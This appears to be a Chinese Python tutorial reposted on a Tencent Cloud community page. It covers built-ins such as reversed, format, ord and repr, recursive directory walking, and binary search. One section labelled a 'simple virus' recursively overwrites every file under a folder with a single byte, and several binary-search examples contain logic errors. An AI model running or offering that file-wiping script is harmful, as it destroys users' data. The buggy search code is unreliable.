前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >day 14 内置函数二

day 14 内置函数二

作者头像
py3study
发布2020-02-10 22:47:31
2310
发布2020-02-10 22:47:31
举报
文章被收录于专栏:python3python3

1.昨日的补充

reversed    翻转, 将一个序列翻转,返回翻转序列的迭代器

lst = ["河南话", "四川话", "东北", "山东", "上海"]

n = reversed(lst)

print(list(n))

判断是不是回文

huiwen = "上海自来水来自海上"

# s = huiwen[::-1]   #切片的翻转

s1 = reversed(huiwen)   ###返回的是迭代器

n =""

for i in s1:

    n += i

print(n)

slice  切片  ###麻烦

lst = ["河南话", "四川话", "东北", "山东", "上海"]

s = slice(3, 5)

print(lst[s])

format()  与具体数据相关,用于计算各种小数,精算等

#格式化输出

s = "我叫{name}, 我来自{home}, 我喜欢干{hobby}".format(name="周杰伦", home="中国台湾", hobby="唱歌")

print(s)

# 字符串 和center 相同   对齐

# s = "门神"

# s1 = s.center(20)

# print(s1)

print(format('test', '<20')) # 左对⻬ 

print(format('test', '>20')) # 右对⻬

 print(format('test', '^20')) # 居中

# 数值

print(format(3, 'b')) # ⼆进制 

print(format(97, 'c')) # 转换成unicode字符 

print(format(11, 'd')) # ⼗进制 

print(format(11, 'o')) # ⼋进制 

print(format(11, 'x')) # ⼗六进制(⼩写字⺟) 

print(format(11, 'X')) # ⼗六进制(⼤写字⺟) 

print(format(11, 'n')) # 和d⼀样 

print(format(11)) # 和d⼀样 

# 浮点数 (重点,主要运用在金融计算)

print(format(123456789, 'e')) # 科学计数法. 默认保留6位⼩数 

print(format(123456789, '0.2e')) # 科学计数法. 保留2位⼩数(⼩写) print(format(123456789, '0.2E')) # 科学计数法. 保留2位⼩数(⼤写) print(format(1.23456789, 'f')) # ⼩数点计数法. 保留6位⼩数 

print(format(1.23456789, '0.2f')) # ⼩数点计数法. 保留2位⼩数 print(format(1.23456789, '0.10f')) # ⼩数点计数法. 保留10位⼩数 print(format(1.23456789e+10000, 'F')) # ⼩数点计数法.

ord() 输入字符找带字符编码的位置

# 找到对应字符的编码位置

print(ord('a')) 

print(ord('中'))

chr() 输入位置数字找出对应的字符

# 找到对应编码位置的字符 

print(chr(97)) 

print(chr(20013))

ascii() 是ascii码中的返回该值 不是就返回\u...

# 在ascii中就返回这个值. 如果不在就返回\u... 

print(ascii('a')) 

print(ascii('好'))

转义字符

\n 换行

\t tab 制表符

\r 回车

\" 双引号

\' 单引号

\\ ---> \

print('你好, 我叫周杰伦.我来自\\n中国台湾. 我老婆叫昆凌')

repr() 返回⼀个对象的string形式, 还原字符串最官方的效果

r 原封不动的显示字符串

# repr 就是原封不动的输出, 引号和转义字符都不起作⽤ 

print(repr('⼤家好,\n \t我叫周杰伦')) 

print('⼤家好我叫周杰伦') 

# %r 原封不动的写出来 

name = 'taibai' 

print('我叫%r' % name)

str:python的字符串

repr: 所有的字符串

print(repr("你好. \\n我叫\周杰伦"))  # python -> repr() -> cpython c里面. 报错

print(r"\n\t范德萨发生\r\b\ffdsaf")  # 原封不动的显示字符串

递归

递归就是函数自己调用自己,递归必须要有入口(参数)和出口(return)

def func():

    print("我是递归")

    func()

树形结构的遍历

import os

def func(lujing, n): # "d:/a/"

    lst = os.listdir(lujing) # 打开文件夹. 列出该文件夹内的所有文件名

    for el in lst: # el是文件的名字.  b, c

        # 还原文件路径

        path = os.path.join(lujing, el) # "d:/a/b"

        if os.path.isdir(path): # 判断路径是否是文件夹

            print("..." * n,el) # 显示文件夹的名字

            func(path, n + 1)  # 在来一次  ################

        else:

            print("\t" * n,el) # 显示文件

func("d:/a", 0)

简易的病毒

import os

def func(lujing, n): # d:/a/b

    lst = os.listdir(lujing)

    for el in lst: # b, c

        # 路径

        path = os.path.join(lujing, el) # 拼接路径 d:/a/b

        # 判断是文件还是文件夹

        if os.path.isdir(path):

            print("\t" * n, el)

            func(path, n+1)

        else:

f = open(path, mode="wb")  ##路径写入

            f.write(b'1')    #通过修改字节

            print("\t" * n, el)

func("d:/a/", 0)

二分法

掐头结尾取中间,规则: 掐头结尾取中间,数据必须是有序序列

查找效率非常高

###通过循环列表跟输入的数字进行比较

lst = [1,3,5,7,12,36,68,79] # 数据集 百万级数据

num = int(input("请输入一个数字:"))

for i in lst:

    if i == num:

        print("这个数存在")

        break

else:

    print("这个数不存在")

二分法查找(需要明白和掌握)

lst = [1,3,5,7,12,36,68,79]

     0 1 2 3  4  5  6 7     #通过索引最左加上最右地板除取中间

num = int(input("请输入一个数字:"))

lift = 0

right = len(lst) -1

while lift <= right:

    mid = (lift + right) // 2

    if num > mid:

        lift = mid + 1

    elif num < mid:

        right = mid -1

    else:

        print('存在')

        break

else:

    print('不存在')

递归的方法一:  通过索引列表的索引

#递归

def func(n, lst):

    lift = 0

    right = len(lst)

    if lst != []:

        mid = (lift+right) // 2

        if n > lst[mid]:

            func(n, lst[mid+1:])

        elif n < mid:

            func(n, lst[:mid])

        else:

            print("存在")

            return

    else:

        print('不存在')

        return

n = int(input("请输入一个数字:"))

func(n, [1,3,5,7,12,36,68,79])

递归二(需要明白和掌握)

def func(n, lst, left, right): # 递归找到什么是可以变的. 什么是不可以变的

    if left <= right:

        mid = (left + right) // 2

        if n > lst[mid]:

            left = mid + 1

            return func(n, lst, left, right)

        elif n < lst[mid]:

            right = mid - 1

            return func(n, lst, left, right) # 递归如果有返回值. 所有调用递归的地方必须写return

        else:

            print("找到了")

            return mid  # 难点

    else:

        print("找不到")

        return -1

n = int(input("请输入你要查找的数:"))

lst = [1,3,55,98,37,41,2,5,1,4]

ret = func(n, lst, 0, len(lst)-1) # 78

print(ret)

最快的查找

lst = [1,3,55,98,37,41,2,5,1,4]

new_lst = []

for i in range(99):

    new_lst.append(0)

for i in lst:    # 1,3,55,98

    new_lst[i] = 1

print(new_lst)

i = int(input('请输入你要找的数据'))

if new_lst[i] == 0: # 1次

    print("不存在")

else:

    print("存在")

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2019-04-22 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档